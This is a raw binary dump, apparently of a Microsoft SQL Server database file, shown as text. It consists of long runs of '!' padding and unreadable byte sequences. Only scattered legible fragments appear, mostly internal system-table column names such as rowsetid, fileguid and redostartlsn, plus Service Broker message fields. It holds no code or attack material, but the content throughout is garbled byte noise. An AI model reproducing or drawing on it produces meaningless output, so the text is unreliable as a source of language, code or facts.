!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!{Ss++;cKvN&>
Z`8I.~^_8!!!!`JVXa\z33@2@@3@2@@3@2@@3@2@@3@2@@3@2@@3@2@@3@2@@3	@2	@	@2222PRRRRRRRRRRRRRRRRRRR R!RdRedRfeRgeRhgRihRjhRkhRleRmRnmRonRpmRqpRrqRsrRtmRutRvuRwvRxwRytRjRkRl555555555	5
555
5666666u7˿w7y71P1P2RR,R-R/R0R1R2R3R4R5R6R7R8R9pR:R;R<pR=qR>rR?xR@RARBRDRERFRGRHRIRhQ|IQ}|.<D^_RJRKRLRM4_`&&&RN32323232]E]i]w!֣w!;_3	2		556jn(bjnbW(9KW9Kjn7W7]3
'(C'N]?	'(C3
2

32323
33]U]E
]ϿPdQRQQQRQQQQPdQ
	R
Q
QQ
R
Q
QQQQRQQQQPdQRQQQRQQQRQQ Q! R!Q"!Q#!Q$!Q%Q&Q'Q('R(Q)(Q*)Q+*R+Q,+Q-+Q.+Q/+Q0+Q1]@]2'4)zK)z$A\ju7333	c	]B
333>h>pT8tX< x\@$lhP
L<X \x$@||`D<x\@$(
H
,

hL0lP4< |`D(dH, hL0lP4\p@T$8X	<	 		d,H4
x	\Xt	@
	$
p
	tT


8
t	
`
ZJbMG,*^a8!!!!`QJJc\wǺJ33@3@3@3@3@3@3@3@3	@2222PRRRRRRRRRRRRRRRRRRR R!RdRm555555555	5
555
56666667771RR,R-R/R0R1R2R3R4R:R@RARBRHRI.<D^_4&&(u\{(|Xvx<8z&RN(x}][y]s]RD])"]`u;]i<]EG)?KbcL]M]<YR]YTg32323232]E]i]]#P]\D
]@]]>]]%'](aV/8]/=A]B*eH]cYI*BK]O6L wy;_3		2	556jnbW9K77]3
]]!]n']Q*]Ľ|-]%=]m?]kC]kHF]9$I]DL]gX3

2
3232=yk]vnl]2q]&rs]>6t3
33]U]E
]Ͽ]{rX&4']K]
pDڎ']}(]"w))356
B7Ff8]*<]GNAaT-IVf=WJ~[]\RRR
R
RRRRR!R(R+]0f]/Utg]Dk]L
9l)z]M{{K]@]2'4]F]jv]F];A]e]T<Y1?}%@
A]C]G]<WOYY[\]]vM`]qa>o3h]w'irv7]@]y333	c	]B
]{|_<M]`A]ф5333]~}<%-./*00=]>N&PQ#R]glS]T]ٴU]KW2`Xu]kLv]4x9{|3}7P[]£]4]mw;]
$nVz]RS6xo]]QfN]7B +"O$];֗B]PH]	N]=bS]!W]w|]N*	]~`TH)#=bG1k%ԏ

 F!! "*i$c%>h]@81]Hd,2]5]e6]I:]<]-;>]z@>32=yk]vnl]2q]&rs]>6t3
33]U]E
]Ͽ]&m1%
%&m1%(C^

^(C^(C
(C{rX&4']K]
p=yk|'	|=yk|'|=yk|=yk ' =yk ' =yk Dڎ']}(]"w)
Fk*Dڎ'Fk*
Fk*'(k_+Dڎ'(k_+'(k_+)356
B7Ff8]*<
c~=ҕ;c~=
c~=]GNAҕ;BBZ@BBҕ;BBaT-IVf=WJ~[]\dPQRQQQRR
R
RRRRR!R(R+Lp^:(|jXF4"	.
$pn8BlHnJ0Z6\2
DP
NjR\fR.
^Jz	|`	jDXF<	xp4^	"L
 :(
t

B2>

<v
dXF@

tb&
P>,

xfTB0rr`x	`&6$		\
8
		~~lvTd@LhVr	N	*		b
0 ,
*n
J
ZH:(8&zhV




fTtbP>,

|4"
ZJd?IW(^cPQ8!!!!`
eU-ˑCO  GpSL  GqSL  GrSL  GsSL  GtSL  GuSL  GvSL  GwSL  GxSL  GySL  GzSL  G{SL  G|SL  G}SL  G~SL  GSL  GSL  GSL  GSL  GSL  GSL  GSL  GSL  GSL  G~SL  G}SL  G|SL  G{SL  GzSL  GySL  GxSL  GwSL  GvSL  GuSL  GtSL  GsSL  GrSL  GqSL  GpSL  GoSL  GnSL  GmSL  GlSL  GkSL  GjSL  GiSL  GhSL  GgSL  GfSL  GeSL  GdSL  GcSL  GbSL  GaSL  G`SL  G_SL  G^SL  G]SL  G\SL  G[SL  GZSL  GYSL  GXSL  GWSL  GVSL  GUSL  GTSL  GSSL  GRSL  GQSL  GPSL  GOSL  GNSL  GMSL  GLSL  GKSL  GJSL  GISL  GHSL  GGSL  GFSL  GESL  GDSL  GCSL  GBSL  GASL  G@SL  G?SL  G>SL  G=SL  G<SL  G;SL  G:SL  G9SL  G8SL  G7SL  G6SL  G5SL  G4SL  G3SL  G2SL  G1SL  G0SL  G/SL  G.SL  G-SL  G,SL  G+SL  G$SL  G#SL  G"SL  G!SL  G SL  GSL  GSL  GSL  GSL  GSL  GSL  GCO  G#
u
EX  G#
uEX  GCO  GEX  G
EX  GAAEX  GCO  GCO  GSL  GSL  GSL  GSL  GSL  GSL  GSL  GSL  GSL  G	SL  G
SL  GSL  GSL  G
SL  GSL  GSL  GSL  GSL  GJEX  G8YkLEX  GSNEX  GGOEX  G;PEX  G2$REX  G0XEX  GVTYEX  G(lEX  GvO|EX  GtEX  G52EX  Gme
+EX  GvIxEX  G\EX  G:]EX  G9>EX  GWEX  G;++fEX  GtOgEX  GshEX  GeESL  GWSL  GwdSL  GȃcSL  GHaSL  GbSL  G&m1SL  G+\SL  G>0EX  Db1EX  D@EX  DAEX  DBEX  DTȚHEX  DIEX  DJEX  DSNEX  DGOEX  D;PEX  D0XEX  DVTYEX  D&nEX  DtOgEX  DshEX  Dj8DL  Gj8SL  Gj8UP  GADSL  GADUP  Gd]SL  Gd]UP  Gz
EX  G(CSL  G7CEX  G8YkLEX  Gs	^EX  GWZbEX  GvfaEX  GOjEX  G_2SL  G=yEX  GpEX  G~EX  G_	EX  G w	EX  G(2;7	EX  GDj3	SL  G}^4	SL  GR5	SL  G
G6	SL  GE;	SL  Gu}F	SL  G0HSL  GI>SL  GT<SL  GwBSL  G 
KSL  GVMSL  GOSL  G:QSL  GfSSL  GwZu
EX  GwZuEX  G"w
EX  G"wEX  G"wEX  Gy
EX  GyEX  GyEX  G~u
EX  G~uEX  G~uEX  GX{
EX  GX{EX  GX{EX  G?||
EX  G?||EX  G?||EX  Gv
EX  GvEX  GvEX  G[x
EX  G[xEX  Gx}
EX  Gx}EX  GČ~
EX  GČ~EX  G3z
EX  G3zEX  G3zEX  G
EX  GEX  G#
u
EX  G#
uEX  GCO  GEX  G
EX  GAAEX  GCO  GCO  GSL  Gl2jM0eH+}5Ro:Wt"?\y
'Da~,If1Nk	6	S	p					

;
X
u




#@]z(Eb
-
J
g




vY<qT7O
`
ZfF2	f(^e8!!!!`KVXgGK@TTTTTTT	T
TTT
TTTTTTTTTTTTTTTTTTT T!T"T#T$T%T&T'T(T)T*T+T,T-T.T/T0	

T3T4T5T6T7T8T9T:T;T<T=T>T?T@TATBTCTDTETFTGTHTITJTKTLTMTNTOTPTQTRTSTTTUTVTWTXTYTZT[T\T]T^TaTbTch f{nh 4h 4h 4h 4h q+Tt+3+3+3+qO_2O_2OTtO&m1O&m1O3O3Oqt&m1t&m1t4t4t4M%XMyMKo;֣;֣;֣_=z_'_'_'_'_'_'_'_'_'	_'
_'_'_'
_'_'_'_'_'_'_'_'_'_'_׶l\_M__2
m_;_*BK_*BK_*BK_*BK_*BK_֣_֣_֣_*eH_*eH_*eH_enZ_aV/8_aV/8_aV/8_aV/8#
u=yk#
u=yk#
u=yk#
u=yk



TeTfTgThTiTjTkTlTmTnToTpTqTrTsTtTuTvTwTxTyTzT{T|T}T~TTT
A
A
A
A
A
A
A
A
A	
A

A
A
A

A
H>o3h>o3hyRzyRz33vM`vM`vM`vM`HVVVAATȚHAA(CAASNAAGOAAyRzAA>0AAixAAixAAH@x$\x\@,

dHD(|`$D(hL0hL0,lP4pT8tX< x\< @$|`dH,lP4




p
T
8


				t	X	<	 		x\@$|`D(hL0lP4pT8tX< x\@$|`
ZKhL*^g!%PR8!!!!`:KtiO)n@TTTTTT	T
TTT
TTTTTTTTTTTTTTTTTTT T!T"T#T$T%T&T'T(T)T*T+T,T-T.T/T0T	

3T4T5T6T7T8T9T:T;T<T=T>T?T@TATBTCTDTETFTGTHTITJTKTLTMTNTOTPTQTRTSTTTUTVTWTXTYTZT[T\T]T^TaTbTcTiM>iM2iM'iM>0iM>0GO9Uw!Nw!Nw!N֣O֣O֣O֣Ow!׶l\w!׶l\w!IT^w!IT^w!IT^w!#I_w!#I_w!#I_w!G=`w!G=`w!G=`w!k1aw!k1aw!k1aw!lw!l֣sp֣sp֣sp֣gq֣gq֣gq֣[r֣[r֣[r֣/Ps֣/Ps֣/Psw!/Psw!/Psw!i|w!i|֣;֣;֣;M_;_֣_֣_֣_



\1iyQ\1iyQ\1iE\1iE\1i@9\1i@9E@9\1iy-\1iy-Ey-\1i
"\1i
"E
"\1i.\1i.E.\1i$S
	\1i$S
	\1i)3\1i)3E6\1i
B7\1i
B7E
B7\1iFf8\1iFf8\1i-IV\1i-IV\1if=W\1if=WeTfTgThTiTjTkTlTmTnToTpTqTrT\1id\1idsTtTuTvTwTxTyTzT{T|T}T~TTTT$3m	$l
$l
$.$
.$T:0$
T:0$[P$[P$
[P>>&Y>
)^9'^^(>(H\1iOz\1iOzE9{7P[ǎQGǎQGǎQGǎQGǎQGǎQGǎQGǎQGǎ;ǎ;ǎ;ǎ;ǎ;|*6nx|*6nx|*6nx|*6nx|*6nx|*6nx|*6nx|*6nx|*6	nx|*6
nx|*6nx|*6nx|*6F!|*6F!|*6F!|*6F!|*6F!|*6F!|*6F!|*6	F!|*6F!|*6!|*6!$ "$ "|*6*i$|*6*i$ǎ*i$ǎ*i$ǎ*i$yQc%yQc%
"c%\1iyQ\1iyQ\1iE\1iE\1i@9\1i@9E@9\1iy-\1iy-Ey-\1i
"\1i
"E
"\1i.\1i.E.\1i$S
	\1i$S
	
|
|
|
|
|
|
|
|
	|

|
|
|

|
|
|
|
|
|
{rX
{rX
{rX
{rX
{rX
{rX
	{rX

{rX
{rX
{rX

{rX
{rX
{rX
@
@
@
@
@

@
@
@

@
@
@
_)
_)
_))3\1i)3\1i)3
)3
)3
)3
)3
)3

)3
)3
)3
b4
b4E6
B7\1i
B7\1i
B7

B7

B7

B7


B7

B7E
B7\1iFf8\1iFf8\1i-IV\1i-IV\1if=W\1if=WeTfTgThTiT@
N<xfTB|0jXF4"d@vR.*bdR.`	

\
|


J
j

n
8
X
n\,J8rp:

t
>
P>&^(

b
,

L


P


	`	F"&
			N	*	4
		r	<			`
zhVD2 ~lZH6$zhVD2 ~lZH6$p^L:(xfTB0|jXF4"n\J8b&fPB>x0,Tvtr
ZKjK&.*^i	
#'8!!!!`-()hk()lBL0-Erowsetid0-88
Krowsetcolid0-88
Ghobtcolid0-88
Astatus0-Ircmodified0-44Kmaxinrowlen0-Erowsetid0-00Gownertype0-88
Cidmajor0-88
Cidminor0-88
Cnumpart0-88
Astatus0-44Afgidfs0-Arcrows0-=rsid0-88
Crscolid0-88
Chbcolid0-Ircmodified0-88
9ti0-88
;cid0-44Aordkey0-44Kmaxinrowlen0-	88
Astatus0-
88
Aoffset0-88
Cnullbit0-44Abitpos0-
Ccolguid0-	00Gcmprlevel0-
00Efillfact0-44Imaxnullbit0-88
Cmaxleaf0-
44Amaxint0-44Cminleaf0-44Aminint0-Arsguid0-Clockres0-88
9id0-88
?subid0-88
Apartid0-88
Cversion0-88
?segid0-88
Ccloneid0-Erowsetid0-88
Edbfragid0-	88
Astatus0-88
Escope_idAstatus0-00Efillfact0-44Imaxnullbit0-88
Cmaxleaf0-44Amaxint0-44Cminleaf0-44Aminint0-	Clockres0-88
=fgid0-88
Efgfragid0-88
Edbfragid0-88
Aphfgid0-88
Astatus0-88
Edbfragid0-88
Aphfgid0-88
=fgid0-=type0-$$Afgguid0-88
Algfgid0-88
Astatus0-4=name0-88
Edbfragid0-88
Afileid0-88
?grpid0-88
Astatus0-00Efiletype0-00Gfilestate0-88
=size0-88
Cmaxsize0-	88
Agrowth0-
4?lname0-4?pname0-

Gcreatelsn0-


Cdroplsn0-$$Efileguid0-88
Qinternalstatus0-

Kreadonlylsn0-

Mreadwritelsn0-

Sreadonlybaselsn0-

Qfirstupdatelsn0-

Olastupdatelsn0-

Gbackuplsn0-

Kdiffbaselsn0-$$Mdiffbaseguid0-==Mdiffbasetime0-

Qdiffbaseseclsn0-

Mredostartlsn0-

Oredotargetlsn0-$$Eforkguid0-

Cforklsn0-Aforkvc0-$$Wredostartforkguid0-=rsid0-88
Crscolid0-88
Chbcolid0-Ircmodified0-88
9ti0-88
;cid0-44Aordkey0-44Kmaxinrowlen0-	88
Astatus0-
88
Aoffset0-88
Cnullbit0-44Abitpos0-
Ccolguid0-	00Gcmprlevel0-
00Efillfact0-44Imaxnullbit0-88
Cmaxleaf0-
44Amaxint0-44Cminleaf0-44Aminint		J		<y8m,X

R

	#	V		NyaQ6q0i0a$
Z)lL(yq^kopq658 A!!!!`U6VAdmAhC6Z8
6Z8	
6[8
6[8
6[0		
6[8


6[
6[8
6[8
6]8
6]8
6]8		
6_4
6_8
6`4
6`8
6a
6a8
6a0
6a8
6U
68
6"4
6"8
6"0
6"8
6.t
6.
6.8
624
628
628
6C8
6C
6C8
6E4
6E8
6_ 
6_8
6`0
6`8
6`
6`8
6"8
6"0
6"8
6. 
6.8
60
6$
6$
6%"
60-
6.
6$6
68F
6		8J	
6

8N

6R
68T
6

8X

6\
6@
60
60
6
6$
6$
6b4
6b4
6b0
6b8
6b0
6b8
64
68
6V8
6V$
6V8
6V8
6$
68
68
6*U
6*8
 msgtype6D enqtime6Ddlgerr6Dmsgid6D&hdrpartlen6D$hdrseclen6Dmsgenc6D&msgbodylen6D msgbody6Hhandle6Hdiagid6H$initiator6Idiagid6I$initiator6Ihandle6I"lifetime6I	"contract6I$convgroup6I
$enddlgseq6I(firstoorder6I&lastoorder6I*lastoorderfr6I"dlgtimer6I$dlgopened6I&farprincid6I"inseskey6I&inseskeyid6Ifarsvc6I(farbrkrinst6^class6^id6^crypto6.id6.issuer6."encrtype6.cert6_id6_$bitlength6_$algorithm6_"modified6_"encrtype6`id6`hash6` created6`"modified6Xv<conversation_group_id6Xv8conversation_handle6Xv@message_sequence_number6Xv&message_id6Xv0message_type_id6Xv
,fragment_size6Xv0fragment_bitmap6Xv8binary_message_body6x<conversation_group_id6x8conversation_handle6x@message_sequence_number6x&message_id6x0message_type_id6x
,fragment_size6x0fragment_bitmap6x8binary_message_body6<8z<conversation_group_id6<8z8conversation_handle6<8z@message_sequence_number6<8z&message_id6<8z0message_type_id6<8z
,fragment_size6<8z0fragment_bitmap6<8z8binary_message_body,fragt\z0
N~h,dB8	
T@Z4j
8
v	$	>
>Z	n*dDX

J	>>T(
D	("TXV~`8bj*J\&|\:	t|

\>
$8V<\
llllll

X

		p	6	FNf,~Dh.
\"^$v<t:Rj0H``n0qS=0lMicrosoft.SqlServer.Types.SqlHierarchyId0fMicrosoft.SqlServer.Types.SqlGeometry0hMicrosoft.SqlServer.Types.SqlGeography)),,.*.)1122336677:<<<<@@AACD DEGH"I$JJKKNZ
[
\]^'^&_0_/`4a"")),,.+223366:@@CEJJKKNZ[]_1`5a"".,22CE_2`6"".-798:;=<>?A@B!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!